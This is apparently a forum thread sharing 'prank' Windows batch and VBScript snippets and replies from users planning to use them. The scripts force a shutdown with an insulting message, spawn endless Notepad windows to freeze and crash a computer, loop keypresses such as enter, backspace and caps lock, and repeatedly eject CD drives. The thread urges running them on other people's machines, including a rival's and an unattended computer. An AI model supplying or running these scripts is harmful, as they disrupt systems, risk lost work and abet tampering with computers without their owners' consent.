Random .vbs codes (as collected from the internet)

Okay so I was reading the fake error thread so I did some research.


Stupidity Shutdown
*This pops up a funny message then will shutdown the computer

CODE@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c "Error! You are too stupid!" -s -t 10

-Endless Notepads
*This will pop up endless notepads until the computer freezes and crashes*


CODE@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

-Crazy caps lock
*This constantly turns caps lock on and off really fast continuously*

CODESet wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

-Endless Enter
*This constantly makes it so the enter button is being pressed continuesly*

CODESet wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

-Endless Backspace
*This makes it so the backspace key is constantly being pressed*

CODEMsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

-Popping CD Drives
*This will make the CD drives constantly pop out*

CODESet oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop



Simply copy and paste them to note pad, save them as .vbs and you're good to prank somebody.
I take no credit from these codes, they were all gathered from the internet. I just collected them.

Edit: i got another one

Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

VBS script that keeps typing "you are a fool!"

 

Really cool, gonna send the ''Endless notepad'' one to my rival

 

lol, i'd recomend the you are a fool and the continuous enter xD

 

Or all in once, that results in a PC crash...

 

Personally, i dont think you should crash it, do something to annoy them, i mean like go onto thier computer when tey're not there and run the open disk drives code.